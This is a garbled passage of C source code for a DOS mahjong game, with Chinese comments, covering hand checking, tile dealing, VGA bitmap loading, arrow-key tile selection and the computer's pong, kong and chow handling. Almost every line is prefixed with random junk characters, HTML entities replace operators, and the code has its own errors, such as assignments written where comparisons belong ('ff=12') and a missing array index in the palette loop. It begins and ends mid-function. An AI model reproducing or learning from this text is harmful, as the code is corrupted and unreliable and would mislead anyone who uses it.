5 Q3 L7 F: `8 ]2 Yif(istwo(test))
0 K' Z* J1 D7 A8 q5 `% O+ _{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* R) g  W! ?" b{if(kl==i)
; N- w' t% |! ~8 l9 p. L, z{
kl=kl+2;
if(kl==14)
; V, b4 R2 b, {1 _4 j3 qbreak;
% C) E; ^+ }- e}
test[ill++]=pi[kl];
# R' }- t! I/ S  g}
4 A7 _, B/ ]; Sisthree(test,ii-2);
}
}
$ ~) v  N! M4 \6 n& z1 b! Bif(ff==2)
istwo(pf);
( Z) E: F0 V4 H: n" L. E; C# Relse if(ff==3)
isthree(pf,ff);
else if(ff==5)
4 I5 ^3 h1 r; h, k/*pf[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
0 z$ q5 l( |! L( c: `* H! ^for(i=0;i&lt;4;i++)
4 [+ [( Z& i5 y- U9 k/ ]0 e{
for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
1 G  x3 E( p* r3 U8 j! \; S% U}
; c; T5 \% x4 [3 E. k: [! f7 Eif(istwo(test))
( C8 e7 A& o- O# O  Q) [& d% L/ k{ ill=0;
  Q* n/ S1 [7 L! j1 J* }8 ~for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
1 I1 j9 t! Q1 ^- h9 |0 q{
0 c  O! s( }0 \8 O' `1 _0 n1 Y6 b, ~kl=kl+2;
7 G9 Y" `2 I9 o( L  Hif(kl==5)
: R+ ]0 Y8 `* u! zbreak;
}
) E9 f2 V% E9 U' B4 e+ @6 e/ `( b0 stest[ill++]=pf[kl];
% D8 K8 ?, l' f}
isthree(test);
}
}
# M* K( y# V0 z5 \4 ]4 f: ~8 K1 Delse if(ff==6)
+ c$ v0 s1 V  Fisthree(pf,ff);
  q3 @8 [" z9 D; M6 c% Y: {1 Oelse if(ff==8)
for(i=0;i&lt;7;i++)
$ t9 H; w9 D3 l# V{
for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
}
if(istwo(test))
) m8 i$ A3 h2 r5 U. l# N{ ill=0;
, q8 W+ L5 s' f  `4 N" ^- Dfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
3 F4 D  J  `# c( w{if(kl==i)
+ a5 z* L& i  i{
# I& P, g% M4 S' Ckl=kl+2;
if(kl==8)
break;
}
  Z- m* t9 o" N3 k6 U  Atest[ill++]=pf[kl];
* g2 V+ }8 Q! y/ ~1 l2 r}
isthree(test,ff-2);
8 q% Y- c' x/ ~}
}
+ Z: p1 Z/ q$ |2 x! R+ b6 Nelse if(ff==9)
& `  C, [6 q+ h4 s2 \isthree(pw,ww);
else if(ff==11)
for(i=0;i&lt;10;i++)
; Y; I& P; A1 e  O$ h{
! R' ^' B4 u: o# Rfor(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
0 f9 [# Z& o" I9 c; Y3 B}
if(istwo(test))
{ ill=0;
% g3 t4 K/ V' x# u6 a3 W, r0 Pfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
+ Z/ F5 O" d$ r8 T7 S{
kl=kl+2;
# O6 v5 x9 Y$ n3 Q/ Nif(kl==11)
break;
  T/ U: K6 E( }: e+ `" h}
test[ill++]=pf[kl];
# Y- G  D/ o; h1 t}
isthree(test,ff-2);
7 ~6 d# b& e! E7 j8 v! P0 |; |}
. l- J6 H: {/ j! B: m}
else if(ff=12)
" s, B; |! x( P6 Y' z% @( G) F- risthree(pf,ff);
else if(ff=14)
9 m: _, V  O) Dfor(i=0;i&lt;13;i++)
, S1 ?& ]* x. L: D4 a( o" O{
for(j=0;j&lt;2;j++)
$ L! N# n4 r+ k{test[j]=pf[i+j];
}
& B& _- q1 S) g4 T6 Sif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
: m0 j3 C  W: `/ e# a{
kl=kl+2;
# {  m' W0 ^7 M8 B( @5 fif(kl==14)
break;
/ P& c4 |% G4 @+ G) |}
6 \) w( L! A( y1 I+ F: F4 W1 t% ptest[ill++]=pf[kl];
}
" O8 M9 y# X  F/ \/ c3 o3 q9 visthree(test,ff-2);
  R! [6 s0 |% F8 l' s  s: N}
+ o% P( t6 c7 p8 U- ?}
& z* P" `1 j: V+ x2 K- U- {! h}
7 d& c( X2 E8 F* q+ Xvoid main(void)
{
FILE *bmp;
( \3 E; L& o5 X! d( m& j1 U/ Wstatic char *name[2]={"ff.bmp","logo.bmp"};
0 ~/ c! N. W2 schar *p;
4 U" A5 n9 ]+ I1 u" l: ?int *lingshi;
* N4 Y$ H3 Z- z- kint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
# W- I3 j$ D; o- ^' j6 A" M: pint every=0,w=0,x1,x2,y1,y2,every1=0;
, t9 w0 {  V- y- L. M  Yint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
8 E; l) M( X' n" J7 B5 jBYTE palette[256][3];
+ i$ w$ ~; y  C" W2 h8 [4 G! pSETVGA;
! W) u' R: b, ?  ~# fgetch();
4 x1 @: @9 q; e. y& J2 [( Swhile(t--)
{
/ R  |5 h5 o5 `3 L& Ibmp=fopen(name[t],"rb");
fseek(bmp,54,SEEK_SET);
" g. [  t. Q: K& D6 `( `% x$ k+ Ffor(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
+ p; f0 _' v9 ^4 K1 K/ t3 Ppalette[1]=fgetc(bmp)&gt;&gt;2;
- D+ [" p& F5 A& b5 A$ N) Opalette[0]=fgetc(bmp)&gt;&gt;2;
2 r. r8 S* W1 J7 v3 g, yfgetc(bmp);
# N9 C5 X0 Q: K& \+ E+ O5 \2 NSet_Palette(i,palette[0],palette[1],palette[2]);
6 B* d) Z: y2 K, }2 r}
for (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
fclose(bmp);
getch();
}
getch();
+ b# S3 R% k, R# b: M8 T1 k8 ~( [fillRectangle(0,0,320,200,0);
2 t1 b" U; T: @getch();
randomize();
me.m=onetothirteen;
. g# B' b- j. O6 Z+ U5 fwhile(me.m&gt;0) /*先循环，给自己拿牌*/
{

1 A% p! T( ]' o4 }9 Ztemp=random(136);
: g! i8 J( T# W4 t$ u5 Lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
/ H3 O5 E7 F. N{
7 W% z) e# Z6 F% C5 H  b8 _$ x: cme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
6 i: O- i, \. P3 }me.pp[n].number=temp; /*第几张，用来排序*/
$ m& C' I: g3 [7 I; ym[temp].data2=1; /*判断牌是谁的*/
1 P' `* J: r6 s9 o  ^& okk=1;
}
* @) E! b5 y" z( M4 l7 J7 C+ Pif(kk==0) /*判断如果又选择了，就从新再选*/
{
me.m++;
$ h' r: _; D6 X* ~2 ]n--;
8 Y: c1 L$ T( @9 R# I}
* |% F- \( A& hme.m--;
4 C- i  K/ c! |! A7 T+ pn++;
kk=0;
. D2 y0 c+ f! q6 ~, y( V# q* [}
+ S3 _7 f* [* h0 k$ S) l- Lme.m=12;
+ o$ u$ I+ T2 ]% l- x5 r% m! }3 a8 jmelipai(); /*理牌*/

n=13;
while(l&lt;n)
9 K, t* V" m9 ^  _! R" \{
z=z+20;
showbmp(l);
( K$ A" S9 a7 r' u; f: W* ]5 fl++;
6 w0 g& r! w9 X5 V6 u  v; O: R3 X
}
- M9 @( {& ]- d+ e8 d, A- Z+ Arandomize();
3 _. [3 |: d! o$ x4 w/ lcomputer.m=oneorthirteen;
n=0;
while(computer.m&gt;0) /*循环，给对方拿牌*/
{
temp=random(136);
2 Y& G# V1 z. Z2 ?- ]# A: }3 Aif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
! I5 `4 i* l- k. A9 S& ^{
$ ^( A9 E4 J2 L) z6 Q, v8 ?# \computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
" V7 e5 d  B0 K0 N3 x, S# T! Mcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
$ J0 J9 i4 d# k% S9 y}
if(kk==0) /*判断如果又选择了，就从新再选*/
{
computer.m++;
/ D* \0 I$ b+ N$ qn--;
}
computer.m--;
- }8 x) q( ?  @+ w: Vn++;
" g( t  G0 f: n, B' gkk=0;
}
computer.m=12;
, h! u8 n  ~1 `4 R) o0 pcomlipai(); /*电脑理牌*/
n=13;
# b' \7 m& a( ewhile(ll&lt;n)
, R  U8 o# ]+ ?% b; n) R4 a$ l' z{
zy=zy+20;
8 y7 q- M% X* a$ kshowybmp(ll);
, o" X3 ]; L) h" wll++;
}
, H, L0 o3 E0 H) w/ j" o' b, _
- L( ^! m0 J, I7 az=54400;
while(key!=ESC)
{

keyy=bioskey(0);
if(keyy==LEFT)
! U5 @9 k* Q* \/ d$ v$ V% R# A{ w=1;
1 Q0 c2 K! v3 ?7 sif(every==0)
5 d+ B' H) H9 O: Z$ i  a{
; A" s+ a/ z8 |2 q6 [/ l* M" xevery=1;
z=54440-5*320;

/ `1 |; t& o; a}
; }. R  Y+ e3 S, v1 x' @" lzz=zz+5*320;
6 S/ e( B+ A7 b. K* V/ [showbmp(every);
3 l% M: c; I9 f/ Cif(every==0)
{
x1=20;
. V0 `! n6 x! J) L1 L' [y1=165;
4 Y! A7 O2 u) W" jfillRectangle(x1,y1,x1+20,y1+4,0);
}
! ?  }( |. a: C  f7 l2 r# Pif(every==1)
+ |! N- g+ @% t5 a9 l# q' o8 H5 N{
0 L4 ?8 a8 n0 o! X- F% b! {2 q" kx1=40;
& V; G0 X1 Z/ V8 @0 wy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
. |, m; b0 ^5 }$ w/ h& F5 eif(every==2)
7 E( `  D$ e+ H! {{
* y" i3 x8 ~, E# Ax1=60;
3 c0 |4 _) ]: n7 ry1=165;
% ]* Q% c& D9 ]% Z$ N9 M6 w0 u0 GfillRectangle(x1,y1,x1+20,y1+4,0);
}
0 m  ^* z7 O6 K6 f9 Xif(every==3)
{
( T& F  [# q% e0 T% h5 mx1=80;
4 ^* k% [3 u+ @y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==4)
{
9 J1 E' D, T' Y5 q4 U8 ^! `x1=100;
$ @: d$ B: l0 ]+ S* Ny1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
6 l# l) D1 l9 V5 y, `}
if(every==5)
, x! q0 V* P* q- O+ K5 O{
5 Z! N! X- W: S# P# g3 B! Sx1=120;
/ s6 v3 }! f7 Q9 S- {3 n/ dy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
{
* `+ B! t" b$ w. c( b  f$ d3 G0 mx1=140;
y1=165;
% @2 S# `, Z2 NfillRectangle(x1,y1,x1+20,y1+4,0);
2 W7 y5 i* t4 P/ ?- m) A4 a. u# m}
if(every==7)
+ b, O3 w& S; ~* T" z0 V$ H{
x1=160;
" k9 j2 x7 R3 Y  ty1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==8)
3 x* d' l. o- ^% H5 C{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==9)
0 K5 E, {6 `9 y{
  K- A( F6 D5 m7 k6 Ix1=200;
* n  n$ {' G  ^8 r  Dy1=165;
' ^9 O2 O, i3 L  @$ [( FfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==10)
$ X6 r5 F( `; K7 |# E1 `% ~) D* t- v{
x1=220;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
1 Z4 R- J3 e% r5 P/ k% M& ]2 B) {, ]if(every==11)
6 E2 x& @0 E3 g8 Z- b4 i& m) H! C{
! q+ }  s) L- N) a- }3 dx1=240;
" u" z& M8 s( a3 n0 Q; H" Iy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
! H" Q' m. M. j, y6 Hif(every==12)
% U. Z1 Y% g! _0 @3 [6 \9 L. D{
x1=260;
y1=165;
+ c. a0 I. g* n/ WfillRectangle(x1,y1,x1+20,y1+4,0);
}
0 `! ~7 ^. h3 {; q0 t  z/ szz=0;
3 [) {& W6 V, R/ }* g/ H% }% fevery--;
z=z-20;
2 m  x! h  H1 l  ]}
if(keyy==RIGHT)
{ if(w==0)
{
z=54440-5*320;
' w  r) k/ ?9 A: s" r8 _z=z-20;
w=1;
* |9 F& I, G$ `8 h}
6 ~! |1 S% R. a6 pif(every==12)
5 q8 _# t. j: _3 o  Z- Z6 g{
every=11;
6 d) B; C- D0 s. Mz=54640-5*320;
8 e' m) a7 d, P4 t}
. n& \! g# T) r% }/ l: hzz=zz+5*320;
- U/ C' U1 T! U& vshowbmp(every);
: j8 j1 g: `2 T; v! Jif(every==0)
{
$ I: [" C8 O$ ?; L6 mx1=20;
! D$ u8 }; v5 Q2 {6 N0 V. R% Y' ~& ]+ fy1=165;
4 ?7 X# Q/ H) V- t# \; T5 f* LfillRectangle(x1,y1,x1+20,y1+4,0);
}
& c- G) \1 {9 M7 zif(every==1)
{
x1=40;
% \6 K. Q) M- \7 Fy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
/ H3 w4 K( v+ j  m, C  X}
* _( Q$ M( W' N8 E* D4 m6 |if(every==2)
# p6 R- D9 F4 U7 P. ]{
x1=60;
y1=165;
5 ]3 B: |4 {% z) Y+ DfillRectangle(x1,y1,x1+20,y1+4,0);
6 g) t: E6 d* V( n}
- k6 |( y) j% s! ]$ b; s- gif(every==3)
3 S6 c9 \  X1 B$ n+ b6 L6 i{
x1=80;
% _1 _0 o0 ~2 Z! A" Ly1=165;
" u, p9 z4 h  A# w: \( rfillRectangle(x1,y1,x1+20,y1+4,0);
: }0 A$ `* ^, J, z' v/ Y( }}
if(every==4)
5 h3 X7 c7 ~& t' ~4 e9 W9 h{
! m6 T  |0 `, @% s( a8 \x1=100;
y1=165;
7 `' x" j' D7 S* `, J9 wfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
9 A4 L* k, f8 X5 n: q" j+ Y{
) X2 `$ m4 K1 ?3 @# |x1=120;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
; Q) M/ M* Z- u. R; P}
if(every==6)
6 W; n! ?6 C; j% e4 _4 {0 @{
3 a, J+ ]2 i3 ]8 Y4 {. \  Sx1=140;
3 ~) C( Z3 l8 A! Py1=165;
+ N2 R3 ~0 d1 s/ xfillRectangle(x1,y1,x1+20,y1+4,0);
/ _# D' B! p+ j( [' I% T3 f}
) p* p$ R! X( p7 k# \0 |if(every==7)
{
( v4 d7 u' D2 Y" j+ x8 @# }3 px1=160;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
6 w% q. Y  O$ @: o}
6 Q1 y$ [. z$ [" Z; M0 \1 H! `if(every==8)
0 {. {- C% r; S/ X. [{
x1=180;
8 K. Q5 \* z' v1 d' q3 Xy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
& n5 Z% k2 A8 ^9 C- c, \) wif(every==9)
{
8 \7 [+ F/ d. l0 Z1 Y  ?8 Fx1=200;
* m, R3 W! A, Q3 U/ g" f3 \9 `" yy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==10)
' Y4 ]7 I, A5 s+ J4 ^. o{
8 P9 ^0 U' E+ ex1=220;
6 P" E1 t& Y8 F+ m( @; S5 ^! i$ O% Py1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
6 s: a, H2 e6 i{
x1=240;
. @  z$ H: d: v" B+ k; G% Yy1=165;
6 @: o9 j2 y5 Q( o: e& X0 ]fillRectangle(x1,y1,x1+20,y1+4,0);
! {# ~1 a( }: ~, ?+ G0 Q}
% d, f$ o. z1 e/ z3 Xif(every==12)
{
2 c: W1 j0 k* z4 E& Q) e/ lx1=260;
y1=165;
" U% |2 \7 E) o) R1 afillRectangle(x1,y1,x1+20,y1+4,0);
( ~- P' W4 P. Y}

zz=0;
every++;
z=z+20;
}
( W4 s* j( v6 o: _, Y9 Pshowbmp(every);
key=keyy;
# Z4 t5 B: x7 U& A" Q. A" fif(keyy==ENTER)
{
rgzn(every); /*********************/
if(sing==1) /*如果可以乓，做相应的处理*/
3 J) V7 p) b6 B  L8 o( W5 L{
kkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
+ P( p1 Z8 C1 }( \{
1 j4 @+ Q$ K0 k- M' h$ S% t" ~if(computer.pp[kkk].p!=1)
{
% `2 L; s8 Y) [+ Q# lcomp.pp[kkkk].k=computer.pp[kkk].k;
) Y9 Y  ?8 [2 O8 y9 A( gcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ h1 a1 T( {1 |; p6 n' `5 Rcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
0 U, D0 o8 K- R, A  p* ?6 y! G0 v}
else
9 J4 e9 P+ k% U) Q7 T{
+ H$ u! e5 @% y( _0 I) N- Sm[computer.pp[kkk].number].data1=1;
dwei=computer.pp[kkk].number;
: Z( u+ b5 u4 V6 V* Gcomputer.pp[kkk].p=0;
}
/ e4 I, `& c6 U8 vkkk++;
: c# y0 ?3 ~0 i' d% n}
ll=0;
: Q8 y4 |3 o7 L% G
while(ll&lt;3)
{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
0 ~& f) g6 Y$ tll++;
& X, x/ E/ D1 D* M# a+ l}
4 _3 ?% M4 q9 D) Z  E( X! F
3 v9 l+ e/ |/ Q" R( _zl=zl+9600-60;
3 i. d+ c+ p' N& |- b  S. Z, pkkk=0;
computer.m=computer.m-2;
" \) g1 V1 D% Dwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
' c; L( s  @+ |5 }2 Lcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 X# v2 ~0 {3 z5 icomputer.pp[kkk].number=comp.pp[kkk].number;
  T3 K( @2 a8 {kkk++;
}
: l+ ^  T7 a2 Z/ r9 W6 S; Oll=0;
- H6 ~+ v* T0 M7 S& X/ K: S9 H2 Vtemp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
4 P5 k/ I6 ?9 h$ x1 d" ?0 }zyy=zyy-9280;
% P* |; l) t0 u/*****/
# g7 {$ S4 o9 x4 _5 y5 K$ Frgznme(temp);
( X% L( [0 t  q/ Cpanduan();
+ F; W0 K( S7 _( z. n: D1 uif(me.m==0)
if(second==1 &amp;&amp; threes==0)
printf("you win!");
/ H8 j5 W; E! ^- X; I6 @0 Gif(me.m==3)
* x6 l' L3 a. s8 _. w5 z7 lif(second==1 &amp;&amp; threes==1)
& U& `0 u& O2 b/ _+ k6 _- Oprintf("you win!");
$ C' Q" a: T" d5 [. U  q8 o/ fif(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
, D6 W: z7 B9 c# `+ [1 Vif(second==1 &amp;&amp; threes==3)
printf("you win!");
* l  p8 I* T  W  lif(me.m==12)
if(second==1 &amp;&amp; threes==4)
printf("you win!");
0 F8 b+ Q; _6 j0 ?8 K
( }, z& l, ^1 V' gkkk=0;
/ T8 j( K. h) }9 w, r2 T1 ]kkkk=0;
while(kkk&lt;=computer.m)
; y. Q% r# c+ ]" T9 k7 k( F! T{
if(kkk!=temp)
{
' p1 o) F, ?- S  u" X+ ecomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
" u5 H5 |( j, }' E: H  S/ zcomp.pp[kkkk].number=computer.pp[kkk].number;
7 v$ x# h7 e# M$ [( Fkkkk++;
5 `: a- ~3 E$ j5 ~" U}
, K6 M* B4 |/ a1 @0 lelse
m[computer.pp[kkk].number].data1=1;
kkk++;
/ p+ k) `: P' L& R) D) v}
kkk=0;
computer.m=computer.m-1;
# i% f: |: g, T, J) Iwhile(kkk&lt;=computer.m)
: r& H6 L  a6 W& j{
computer.pp[kkk].k=comp.pp[kkk].k;
/ W( o* \& U' ucomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
3 T0 r9 [' H: `: j9 k. q}
fillRectangle(0,0,320,30,0);
: c* m( ]$ W- k2 d8 fn=computer.m;
ll=0;
zy=0;
5 r# s2 \( D) gwhile(ll&lt;=n)
& R( V  L, y( X, c0 A# f{
zy=zy+20;
% B$ H% e# q; T! c+ P+ Ushowybmp(ll);
  b! ?5 U0 s) ~1 d. kll++;
) I- j2 E' M: C  |' O}
4 f& |2 {# r; e+ z- [- p$ |ll=0;
getch();
' c: R  X# a7 p; K* ]! ksing=0;
9 C8 r" S1 Z9 C. M6 gsing1=1;
}

if(sing==2) /*如果可以杠的做相应处理*/
6 p! ~$ {, `/ o1 ]. K{
' p# }8 D# S/ A. h2 K1 ^, D, f2 Tkkk=0;
8 u5 i; t/ B/ Q: `4 V' H' ykkkk=0;
while(kkk&lt;=computer.m)
3 c& J0 s6 v  [' f8 {) J5 j2 X+ e{
9 g6 E, c) Z" |0 G( v9 A9 pif(computer.pp[kkk].g!=1)
8 I3 R/ M1 Y; m+ f  _; C2 G{
comp.pp[kkkk].k=computer.pp[kkk].k;
0 b% J: u$ A' G. Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ {/ _. u* @+ Tcomp.pp[kkkk].number=computer.pp[kkk].number;
# b# G1 {8 M9 |" F1 g; {kkkk++;
: T1 Y* G. J: A0 ]9 ]}
else
{
( F- W5 V$ v. |( r; T/ K& Bm[computer.pp[kkk].number].data1=1;
dweig=computer.pp[kkk].number;
# P) D2 K( n3 z: u: s6 z! U6 \computer.pp[kkk].g=0;
8 M7 b3 K) i' D; _}
kkk++;
, p# L7 a( P. w1 @$ x}
ll=0;

while(ll&lt;=3)
- n: p6 m* y$ t3 o& x0 p4 r{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
ll++;
}
# B  v1 L) O' B; M$ lzl=zl+9600-60;
kkk=0;
computer.m=computer.m-3;
# |+ m& P: i0 z# q' A4 fwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: a, Q. ?+ f# s" f* Y$ @  lcomputer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
& `) v! Y  z7 X$ j: gkk=0;
& K' W% R) I! p( W! t; tcomputer.m++; /*加一个牌的容量*/
while(kk!=1)
{
temp=random(136); /*出牌*/
  k3 V; Z6 I/ [! _+ Lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
2 T7 M% }/ }' c- ?{
7 X5 J- s: e4 Q7 h* m: Ncomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- L4 G; b6 Y! }4 ?; T8 g% Mcomputer.pp[computer.m].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
6 w. i, S( [9 T0 jkk=1;
}
0 H! R5 q6 g1 ~2 B& H$ k+ g* R}
comlipai();
% v+ ^5 ]8 H( J6 mtemp=random(computer.m); /*出牌，等待完善*/
zyy=zyy+9280+20;
, j; e' j- b. l" K5 @1 E6 `showcbmp(temp);
# S9 V5 B- h$ O: g# xzyy=zyy-9280;
7 V" A/ Z1 \/ x$ t5 _& x# J* [- f/ S/*****/
; U6 _  L$ B0 D- ]) K5 E2 }6 Crgznme(temp);
% Z1 H6 q' D# s9 i7 d& Xpanduan();
if(me.m==0)
5 O) J! p! j6 C; u/ b$ E2 ^- V9 V$ \if(second==1 &amp;&amp; threes==0)
' D% {6 D7 D# h: a6 Q& y* K$ C3 J# W, oprintf("you win!");
; w$ O) T" ^& `7 V- k9 ~if(me.m==3)
9 a5 s" p( I# T5 q9 U9 l6 yif(second==1 &amp;&amp; threes==1)
3 B7 H0 k, j8 Z* z/ Eprintf("you win!");
if(me.m==6)
4 `; p8 p4 {' e7 Aif(second==1 &amp;&amp; threes==2)
* L5 Y) |! K% V1 }. h! ?2 {printf("you win!");
& h* Y) j4 s! N( a# }: \) Iif(me.m==9)
& H3 R& g& R% g. Z, R1 D. B- V% Dif(second==1 &amp;&amp; threes==3)
printf("you win!");
0 W2 H7 V" G; ?; H- Jif(me.m==12)
if(second==1 &amp;&amp; threes==4)
3 |1 Z9 s; x  Hprintf("you win!");
. o; p* i" F+ @+ J, D+ K2 j4 o
9 ~6 A" ^$ [& n' O* c# h% r- P& xkkk=0;
kkkk=0;
3 {# |6 J/ e  j$ t  ~% F& ywhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
& Q( @. _  I9 N6 r2 y, c; p{
if(kkk!=temp)
; m! U6 Y9 Q4 Q$ z4 y7 d{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
0 l2 [. {6 z; s& S0 Tkkkk++;
4 I9 _/ m7 @9 W: b) b}
else
m[computer.pp[kkk].number].data1=1;
kkk++;
" M7 p$ ?7 @- {8 |}
kkk=0;
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
while(kkk&lt;=computer.m)
{
6 i2 c. \" X( n( h0 _5 Dcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
, X3 g+ D& t& \% pkkk++;
}
; m% y- |4 D9 G' y4 r! AfillRectangle(0,0,320,30,0);
ll=0;
zy=0;
( ]+ j5 O' c% c# q- Lwhile(ll&lt;=computer.m)
5 J' |3 U% s: O! _$ S- I9 O2 m{
zy=zy+20;
, I. j* q# ?% Y! i+ M$ d& oshowybmp(ll);
ll++;
}
sing=0;
sing1=1;
}
3 B/ s& }1 B* E, Q/ P8 |0 uif(sing==7) /*如果可以吃的，做相应处理*/
( A. s8 S6 a/ p5 ~' @{ nn=0;
kkk=0;
" r/ h( |+ u: w/ D- U9 j" @! P& tkkkk=0;
7 s( V: b& [3 ~. ^while(kkk&lt;=computer.m)
{
if(computer.pp[kkk].c!=1)
  x. A* T' s" X4 y6 J{
% i$ @( T! t# `! Zcomp.pp[kkkk].k=computer.pp[kkk].k;
) E+ J6 g( x/ s3 C$ ?7 Icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: u; W' V5 O& ?9 K- Tcomp.pp[kkkk].number=computer.pp[kkk].number;
; ~( y9 J3 P3 B! H# Ukkkk++;
6 f) r0 r. }( |/ ~; |6 a}
" ~2 ]* H2 t: D* ~) t" }& U# Telse
{
m[computer.pp[kkk].number].data1=1;
+ \) |8 S" ?. D( d% Jdw[nn++]=computer.pp[kkk].number;
9 A/ g" X( h+ w8 tcomputer.pp[kkk].c=0;
8 B) X" w- M6 _" h# J}
kkk++;
6 s# X+ b) ]& z  q$ W: s! n* M2 ?}

if(me.pp[every].number&lt;dw[0])
{
dw[2]=dw[1];
7 D- s" l- K7 B/ S+ j% Gdw[1]=dw[0];
dw[0]=me.pp[every].number;
5 p3 T$ S1 ^4 r9 R, H; b0 X, f}
if(me.pp[every].number&gt;dw[1])
{
dw[2]=me.pp[every].number;
, C7 P& h% t* H7 n4 L" B}
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
- ]! d/ T( f8 p1 S  ]: V- M{
dw[2]=dw[1];
0 _5 U9 G' P+ Q* Ldw[1]=me.pp[every].number;
# ~! `& n2 z) v% V}
nn=0;
while(nn&lt;3)
. {1 N8 G2 F; d8 S* U' M$ A{ zl=zl+20;
bmpp(dw[nn]); /*显示吃的牌*/
8 @  h5 F0 z3 `+ K6 bnn++;
  z* f1 R' ]! W) G( x5 c}
% q, Y. ?" _  k3 G+ x8 vzl=zl+9600-60;
kkk=0;
computer.m=computer.m-2;
while(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
' }+ Z9 ~0 e( R% u: v$ ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
# t1 [8 A# j5 `6 n1 o/ |* y, N) ocomputer.pp[kkk].number=comp.pp[kkk].number;
* w! ~8 \% f; u* E; h. Ckkk++;
}
- U# @" A, a: z4 m) V: M0 Rll=0;
4 P# I! ]4 T0 g3 _- Ttemp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
2 h* v9 L6 F4 X3 T4 Ishowcbmp(temp);
) g8 y- h: N- S. yzyy=zyy-9280;
/ x! z4 X, A" @" K/*****/
( |9 a' |0 l  A5 qrgznme(temp);
" E  A8 W3 _  G7 cpanduan();
1 w% ]) O. G+ m7 Qif(me.m==0)
$ ]2 }) Z, a  L8 o1 g# v4 k, R& Yif(second==1 &amp;&amp; threes==0)
8 a5 {- b# O3 R5 R3 n5 ^printf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
+ W0 I: B. p3 `! {if(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
4 [5 P, X6 u  V- Nif(second==1 &amp;&amp; threes==3)
